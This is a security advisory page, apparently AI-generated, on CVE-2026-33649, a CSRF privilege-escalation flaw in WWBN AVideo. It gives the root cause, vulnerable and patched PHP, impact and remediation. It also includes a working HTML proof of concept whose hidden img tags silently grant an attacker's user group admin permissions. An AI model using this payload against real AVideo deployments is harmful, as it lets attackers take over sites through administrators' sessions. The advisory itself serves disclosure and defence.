CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-33649

CVE-2026-33649: GET-Based CSRF Privilege Escalation in WWBN AVideo

Alon Barad
Alon Barad
Software Engineer

Mar 25, 2026·6 min read·13 visits

Executive Summary (TL;DR)

A critical CSRF flaw in AVideo allows unauthenticated attackers to grant arbitrary permissions to user groups by tricking an administrator into visiting a malicious page. The endpoint improperly accepts GET requests and lacks token validation, exacerbated by a global SameSite=None cookie policy.

WWBN AVideo up to version 26.0 is vulnerable to a Cross-Site Request Forgery (CSRF) vulnerability in the permissions management endpoint. The vulnerability allows attackers to escalate privileges by forcing an authenticated administrator to execute state-changing GET requests without anti-CSRF token validation.

Vulnerability Overview

WWBN AVideo up to version 26.0 contains a Cross-Site Request Forgery (CSRF) vulnerability tracked as CVE-2026-33649. The flaw resides within the plugin/Permissions/setPermission.json.php endpoint, which is responsible for modifying user group access controls. By exploiting this vulnerability, an attacker can perform unauthorized state-changing operations on the application.

The vulnerable endpoint processes incoming requests to grant or revoke critical system privileges, such as video upload capabilities and user management rights. Because it fails to properly validate the origin and intent of these requests, it exposes a critical attack surface. Administrators managing the platform are the primary targets, as their elevated session privileges are required to execute the permission changes.

The attack vector relies on an attacker crafting a malicious web page that automatically triggers requests to the vulnerable AVideo endpoint. When an authenticated administrator visits this page, their browser executes the requests within the context of their active session. The application blindly trusts these requests, resulting in unauthorized privilege escalation for an attacker-controlled user group.

Root Cause Analysis

The root cause of CVE-2026-33649 is a combination of three distinct security misconfigurations interacting within the application architecture. First, the setPermission.json.php endpoint explicitly retrieves parameters using the $_REQUEST superglobal array. This implementation allows the endpoint to accept input via HTTP GET query strings, violating the standard practice of using POST requests for state-changing operations.

Second, the endpoint completely omits anti-CSRF token validation. While the AVideo application implements a global token validation function named isGlobalTokenValid(), developers failed to invoke this function within the permissions endpoint. Other administrative endpoints, such as saveSort.json.php, correctly implement this check, indicating a localized oversight rather than a systemic lack of CSRF protection mechanisms.

Third, the vulnerability is amplified by AVideo's session cookie configuration. The application explicitly sets ini_set('session.cookie_samesite', 'None'); in objects/include_config.php. This configuration is documented as an intentional choice to support cross-origin iframe embedding for video players. However, setting SameSite=None removes modern browser protections against cross-site request inclusion, allowing session cookies to be appended to GET requests initiated from arbitrary third-party domains.

Code Analysis

An examination of the vulnerable code in plugin/Permissions/setPermission.json.php reveals the exact mechanism of the flaw. The script iterates over an array of expected parameters, extracting them directly from $_REQUEST without validating the HTTP method. It then passes these unvalidated, untrusted inputs directly to the Permissions::setPermission() method.

$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
    if($_REQUEST[$value]==='true'){
        $_REQUEST[$value] = 1;
    }else{
        $_REQUEST[$value] = intval($_REQUEST[$value]);
    }
}
 
$obj = new stdClass();
$obj->id = Permissions::setPermission($_REQUEST['users_groups_id'], $_REQUEST['plugins_id'], $_REQUEST['type'], $_REQUEST['isEnabled']);

To remediate this vulnerability, the endpoint must be refactored to enforce strict HTTP method validation and token verification. The application must reject any request that does not use the POST method. Furthermore, it must call the existing isGlobalTokenValid() function before processing any input variables.

// 1. Enforce POST method
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die(json_encode(array('error' => 'POST method required')));
}
// 2. Enforce CSRF token
if (!isGlobalTokenValid()) {
    die(json_encode(array('error' => 'Invalid CSRF token')));
}
 
$intvalList = array('users_groups_id','plugins_id','type','isEnabled');
foreach ($intvalList as $value) {
    if($_POST[$value]==='true'){
        $_POST[$value] = 1;
    }else{
        $_POST[$value] = intval($_POST[$value]);
    }
}
 
$obj = new stdClass();
$obj->id = Permissions::setPermission($_POST['users_groups_id'], $_POST['plugins_id'], $_POST['type'], $_POST['isEnabled']);

Exploitation and Attack Methodology

Exploitation of CVE-2026-33649 requires the attacker to fulfill specific prerequisites. The target administrator must have an active, authenticated session with the AVideo application. The attacker must also identify the numeric ID of a user group they control (e.g., ID 2), which will be the recipient of the escalated privileges.

The attack methodology involves crafting a malicious HTML payload designed to silently execute HTTP GET requests. The provided proof-of-concept utilizes hidden <img> tags, appending the necessary parameters to the target endpoint's URL. By assigning multiple tags to the page, the attacker can systematically grant a series of permissions in a single page load.

<!DOCTYPE html>
<html>
<head><title>Interesting Content</title></head>
<body>
<h1>Check out this video!</h1>
<!-- PERMISSION_FULLACCESSVIDEOS (type=10) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=10&isEnabled=true' style='display:none'>
<!-- PERMISSION_USERS (type=20) -->
<img src='https://target.example.com/plugin/Permissions/setPermission.json.php?users_groups_id=2&plugins_id=1&type=20&isEnabled=true' style='display:none'>
</body>
</html>

When the administrator renders this HTML page, the browser attempts to resolve the image sources. It automatically fires asynchronous GET requests to the AVideo server. Because the server configures session cookies with SameSite=None, the browser includes the administrator's authentication cookies in the cross-origin requests, resulting in successful privilege escalation.

Impact Assessment

The successful exploitation of CVE-2026-33649 results in significant security consequences for the affected AVideo deployment. An unauthenticated attacker leverages the administrator's session to elevate the privileges of their own user group. This drive-by compromise grants the attacker unauthorized access to administrative functions without requiring direct authentication credentials.

The specific permissions demonstrated in the proof-of-concept grant the attacker extensive control. By assigning PERMISSION_FULLACCESSVIDEOS and PERMISSION_USERS, the attacker gains the ability to manipulate platform content and manage other users. This lateral movement compromises both the confidentiality and integrity of the system data.

The vulnerability is assessed with a CVSS v3.1 base score of 8.1 (High), reflecting the critical nature of the flaw. The vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N) highlights that while user interaction is required (UI:R), the attack is network-exploitable (AV:N), has low complexity (AC:L), and requires no prior privileges (PR:N) from the attacker's origin context.

Remediation and Mitigation

As of the publication date, no official patched release is available for WWBN AVideo to address CVE-2026-33649. Administrators operating affected systems must implement immediate manual remediations or compensating controls to secure their deployments. The primary recommendation is to manually patch the vulnerable PHP script as outlined in the code analysis section.

Administrators must modify plugin/Permissions/setPermission.json.php to explicitly enforce the POST HTTP method and require valid anti-CSRF tokens via the isGlobalTokenValid() function. All references to the $_REQUEST superglobal within this file must be replaced with $_POST to ensure parameters are not accepted via URL query strings.

In environments where direct code modification is not immediately feasible, compensating controls must be deployed. Security teams should implement Web Application Firewall (WAF) rules to explicitly block all GET requests targeting the /plugin/Permissions/setPermission.json.php URI path. Furthermore, administrators must practice strict session hygiene by avoiding general web browsing while maintaining an active session in the AVideo management console.

Official Patches

WWBNGitHub Security Advisory

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
EPSS Probability
0.01%
Top 97% most exploited

Affected Systems

WWBN AVideo platform

Affected Versions Detail

Product
Affected Versions
Fixed Version
AVideo
WWBN
<= 26.0-
AttributeDetail
CWE IDCWE-352
Attack VectorNetwork
CVSS Score8.1
EPSS Percentile2.59%
Exploit StatusProof of Concept Available
CISA KEVNot Listed

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
CWE-352
Cross-Site Request Forgery (CSRF)

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Known Exploits & Detection

Security AdvisoryHTML PoC demonstrating privilege escalation via img tags

Vulnerability Timeline

Vulnerability publicly disclosed and assigned CVE ID
2026-03-23
Security advisory GHSA-g8x9-7mgh-7cvj published
2026-03-23
CVE published in NVD and analyzed for CVSS scores
2026-03-25

References & Sources

  • [1]GitHub Advisory GHSA-g8x9-7mgh-7cvj
  • [2]NVD Detail for CVE-2026-33649
  • [3]CVE Record CVE-2026-33649
  • [4]WWBN AVideo Source Code

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-49205
6.5

CVE-2026-49205: Missing Authorization in phpMyFAQ Public REST API Write Endpoints

An incomplete security patch for CVE-2026-24421 in phpMyFAQ allows authenticated low-privileged users to bypass role-based access controls. While the initial patch addressed missing authorization in the BackupController, it left four critical write-enabled endpoints vulnerable. This allows remote attackers with a valid low-privilege API token to perform unauthorized data modifications, creating categories, creating FAQs, updating FAQs, and injecting questions directly into the database.

Amit Schendel
Amit Schendel
3 views•5 min read
•about 10 hours ago•GHSA-74P7-6H78-GW8P
8.6

GHSA-74P7-6H78-GW8P: Multiple Critical Security Flaws in skillctl Agent-Skill Manager

An in-depth security audit of the skillctl command-line package manager revealed five critical and high-severity security vulnerabilities. The identified flaws span parameter-level command argument injection via the source_sha parameter, uncontrolled resource consumption (Denial of Service) through unnamed UNIX FIFOs and character devices, directory path traversal in the destination argument, commit-message trailer forgery via newline injection in skill names, and local credential exfiltration leveraging UNIX hardlinks. These vulnerabilities represent significant vectors for workstation compromise when executing agentic tasks in repositories containing untrusted files or pull requests. Remediation was introduced in version v0.1.3.

Alon Barad
Alon Barad
5 views•6 min read
•about 14 hours ago•CVE-2026-48153
8.5

CVE-2026-48153: Server-Side Request Forgery in Budibase OAuth2 SDK

CVE-2026-48153 is a Server-Side Request Forgery (SSRF) vulnerability in the Budibase OAuth2 SDK prior to version 3.39.0. It allows authenticated low-privileged users to bypass outbound network security blacklists and send arbitrary requests to internal subnets or cloud metadata services.

Alon Barad
Alon Barad
9 views•7 min read
•about 15 hours ago•GHSA-GHMH-JHMJ-WCMF
5.1

GHSA-GHMH-JHMJ-WCMF: Plaintext Storage of Enrollment Tokens at Rest in SQLite in nebula-mesh

The self-hosted Slack Nebula VPN control plane, nebula-mesh, stored high-privilege enrollment tokens in plaintext inside its SQLite database. This flaw allowed any adversary with read access to the database to retrieve pending tokens and enroll unauthorized hosts into the secure VPN mesh.

Alon Barad
Alon Barad
4 views•8 min read
•1 day ago•GHSA-HVQH-JW65-WCPQ
6.1

GHSA-HVQH-JW65-WCPQ: Cross-Site Scripting (XSS) in devbridge-autocomplete

The devbridge-autocomplete package (jQuery-Autocomplete) fails to escape category headers and suggestion values when using default formatters formatGroup and formatResult. If suggestions contain untrusted input, arbitrary HTML and JavaScript execute directly in the victim's browser session.

Alon Barad
Alon Barad
5 views•6 min read
•1 day ago•CVE-2024-37155
6.5

CVE-2024-37155: Security Bypass in OpenCTI GraphQL Introspection via Whitespace and Control Character Manipulation

OpenCTI versions prior to 6.1.9 fail to properly restrict GraphQL schema introspection queries due to a weak pattern-matching implementation. An unauthenticated attacker can bypass the introspection block list by stripping whitespace and carriage returns, enabling complete reconnaissance of the GraphQL schema.

Amit Schendel
Amit Schendel
6 views•5 min read